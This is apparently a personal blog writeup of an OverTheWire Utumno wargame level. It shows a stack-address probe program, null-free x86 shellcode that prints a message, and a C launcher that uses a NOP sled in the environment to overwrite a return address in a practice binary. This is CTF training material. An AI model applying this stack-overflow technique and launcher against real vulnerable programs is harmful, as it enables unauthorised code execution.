Reverse Engineering · Binary Exploitation

Injecting Shellcode Through a Launcher: OverTheWire Utumno

Utumno is one of the OverTheWire wargames. The recurring theme is where your data lands in memory — the stack, the arguments, and the environment — and how to steer a vulnerable binary into running bytes you control. This is a writeup of my own path through it: probing the layout with a tiny helper program, then delivering a NOP-sled + shellcode payload through execve's environment.

Note: This is an educational writeup of a public practice wargame on a sandboxed VM. Nothing here targets a real system, and passwords are deliberately omitted.

Step one: see the memory you're working with

Before overwriting anything you need to know exactly where things sit. The vulnerable binaries copy attacker-controlled strings from argv and the environment onto the stack, so the first job is to map those addresses. Rather than guess, I wrote a small child program that just prints every pointer it can see:

#include <stdio.h>
#include <stdlib.h>
extern char **environ;

int main(int argc, char **argv) {
    printf("argc: %d\n", argc);
    printf("argv:-\n");
    for (char **arg = argv; *arg != NULL; arg++)
        printf("%p: %s\n", arg, *arg);
    printf("envp:-\n");
    for (char **env = environ; *env != NULL; env++)
        printf("%p: %s\n", env, *env);
    return 0;
}

Then a parent launches it through execve with a hand-picked environment, so the layout the child prints matches the layout the target sees when launched the same way:

char *argv[] = { "", NULL };
char *envp[] = { "E1=e1","E2=e2","E3=e3","E4=e4","E5=e5",
                 "E6=e6","E7=e7","E8=e8","E9=e9","E10=e10", NULL };
execve("./child", argv, envp);

The addresses the child prints are the ground truth: I now know the stack address of every environment string. That E10 slot near the end becomes the landing pad for the payload.

Step two: write the shellcode

The payload is 32-bit x86 written by hand so I can control every byte — in particular, avoid any 0x00 that would truncate the string as it's copied. As a first, verifiable target the shellcode just does a write(1, "hellow hacker\n", 14) and a clean exit(0); once that runs, swapping in anything else is trivial.

BITS 32
    xor eax, eax            ; eax = 0, and no 0x00 byte

    ; build "hellow hacker\n" on the stack, last chunk first
    push 0x0a0a0a72         ; 'r' + newline padding
    push 0x656b6361         ; "acke"
    push 0x6820776f         ; "ow h"
    push 0x6c6c6568         ; "hell"

    mov ecx, esp            ; ecx -> the string (buffer arg)
    xor edx, edx
    mov dl, 14              ; length
    xor ebx, ebx
    inc ebx                 ; fd = 1 (stdout), inc avoids a 0x00
    mov al, 4               ; syscall 4 = write
    int 0x80

    xor eax, eax
    mov al, 1               ; syscall 1 = exit
    xor ebx, ebx
    int 0x80

The two habits worth calling out: every register is zeroed with xor reg, reg and set with the low byte (al, dl) or inc, precisely so the assembled bytes never contain a null. The string is pushed last chunk first because the stack grows downward, so after four pushes the bytes read forward in memory.

Step three: deliver it through the environment

Now stitch it together in a launcher. The idea:

char code[300], over[21];
memset(code, '\x90', 300);            // NOP sled
memset(over, 'A', 20);                // filler up to the return address
strcpy(over + 16, "\xd0\xde\xff\xff"); // overwrite RA with &E10 = 0xffffded0
fread(code + 100, 1, size, f);        // shellcode planted inside the sled

char *envp[] = { "E1=e1", ..., "E8=e8", over, code, NULL };
execve("/utumno/utumno5", argv, envp);

The specific return address (0xffffded0) is exactly the environment address my child probe reported for that slot under this launch configuration — which is why the probe step matters so much. Guessing wastes attempts; measuring lands it.

Why this works

Three things line up:

  1. Attacker-controlled bytes on the stack. The environment strings are copied verbatim into the target's stack frame, so my sled and shellcode are physically present in the process.
  2. A hijackable return address. The overflow lets me overwrite a saved return pointer, so when the function returns, the CPU jumps wherever I point it.
  3. A forgiving landing zone. The NOP sled means I don't need pixel-perfect aim — any address inside the sled works, and the CPU slides down into the shellcode.

Takeaways

The whole level is really a lesson in determinism: on a fixed launch configuration the stack layout is reproducible, so the "hard" part is measurement, not luck. Write a probe, read the real addresses, keep your shellcode null-free, and give yourself a sled so small errors don't cost you the shot. That workflow — probe → craft null-free payload → point a return address into a sled — is the same shape as most classic stack-smashing exercises, and doing it by hand once makes every automated tool afterward far less mysterious.

OverTheWire is a legal, free security-training platform. This writeup documents technique on an intentionally vulnerable practice binary in an isolated environment — not a recipe against anyone's live system.
Mrinmoy Banik Next: OverTheWire Maze